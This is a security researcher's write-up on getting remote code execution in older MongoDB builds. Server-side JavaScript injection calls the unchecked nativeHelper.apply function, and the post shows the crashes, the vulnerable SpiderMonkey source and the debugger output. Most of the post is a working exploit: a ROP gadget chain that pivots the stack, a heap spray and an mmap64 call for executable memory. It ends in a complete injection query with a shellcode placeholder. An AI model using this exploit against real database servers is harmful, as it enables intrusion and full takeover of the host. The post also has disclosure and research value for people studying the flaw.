mongodb – SSJI to RCE

Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0

Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}

But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}

So you can run the “run” function directly by calling nativeHelper.apply(run_,[“uname”,”-a”]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
	"$err" : "error on invocation of $where function:nJS Error: ReferenceError: run_ is not defined nofile_a:0",
	"code" : 10071
}

So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }

An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

The server crashed o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {

nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

Exploitation

Challenge now is to make a reliable exploit bypassing NX and ASLR (on x86 32bits for the moment).
To achieve this let’s debug it !

The func NativeFunction take 2 arguments : the first one is the arguments array from javascript call in BSONObj format.
The second one is a number from y.

In gdb if we look at eax when the crash occurs [eax]=pointer on our BSONObj

gdb$ x/wx $eax
0xb21ae868:     0x0917a77c
gdb$ x/10s 0x0917a77c
0x917a77c:      "N"
0x917a77e:      ""
0x917a77f:      ""
0x917a780:      "0260"
0x917a783:      "B"
0x917a785:      ""
0x917a786:      ""
0x917a787:      'a' <repeats 65 times>

So we need gadgets to pivot in the [[eax]]+>0xb

0x836e204:   mov    eax,DWORD PTR [eax]
0x836e206:   mov    DWORD PTR [esp+0x4],0x20
0x836e20e:   mov    DWORD PTR [esp],esi
0x836e211:   call   DWORD PTR [eax+0x1c]

This one will dereference eax and then call [eax+0x1c] that we control.
So we can put a second gadget to xchg esp, eax at our arguments+0x11
This gadget must also increment esp to point in our buffer and not in BSONObj structure.

Here is a little problem : arguments is UTF-8 encoded so we have to find gadgets with bytes inferior to 0x7f.
0x08457158 respects it :

0x8457158:   xchg   esp,eax
0x8457159:   xor    BYTE PTR [eax],al
0x845715b:   add    esp,0x4
0x845715e:   pop    ebx
0x845715f:   pop    ebp
0x8457160:   ret

So the ret will fall in arguments+0x01, that’s okay for us, we can put another gadget here.
We need to increment the stack pointer to escape the second gadget at arguments+0x11

0x8351826:   add    esp,0x20
0x8351829:   pop    esi
0x835182a:   pop    edi
0x835182b:   pop    ebp
0x835182c:   ret

Here we go ! Our stack is controlled, but the UTF-8 limitation is really bad, the mmap64@plt is at address 0x816f768 so we can’t use it in arguments. Let’s pivot again.

As we are in javascript environment the same techniques used in browser could be effective !
Sorry but we will heapspray !
The first one with NOP+SHELLCODE and we will mmap it RWX.
The second one with our RETCHAIN+ROPCHAIN that call mmap without UTF-8 limitation.

0x20202020 => RETCHAIN+ROPCHAIN
So we need a gadget to put it in eax then xchg esp, eax again.

0x8055a6c:   pop    eax
0x8055a6d:   adc    dl,0x27
0x8055a70:   ret

then 0x08457158, the same as above will pivot the stack.

Here we go again ! Our stack is controlled without any contraints !
The next part is simple as mmap64 is directly callable via plt.

Return to mmap64@plt : 0x816f768 and stack look like that

0x0c0c0c0c => nop sled where to ret after mmap64
0x0c0c0000 *addr
0x00001000 size
0x00000007 RWX prot
0x00000031 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
0xffffffff
0x00000000

Here is the total exploit :

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);'})

This feature/vulnerability was reported 3 weeks ago to 10gen developers, no patch was commit but the default javascript engine was changed in last version so there is no more nativeHelper.apply function.

A metasploit module is comming soon…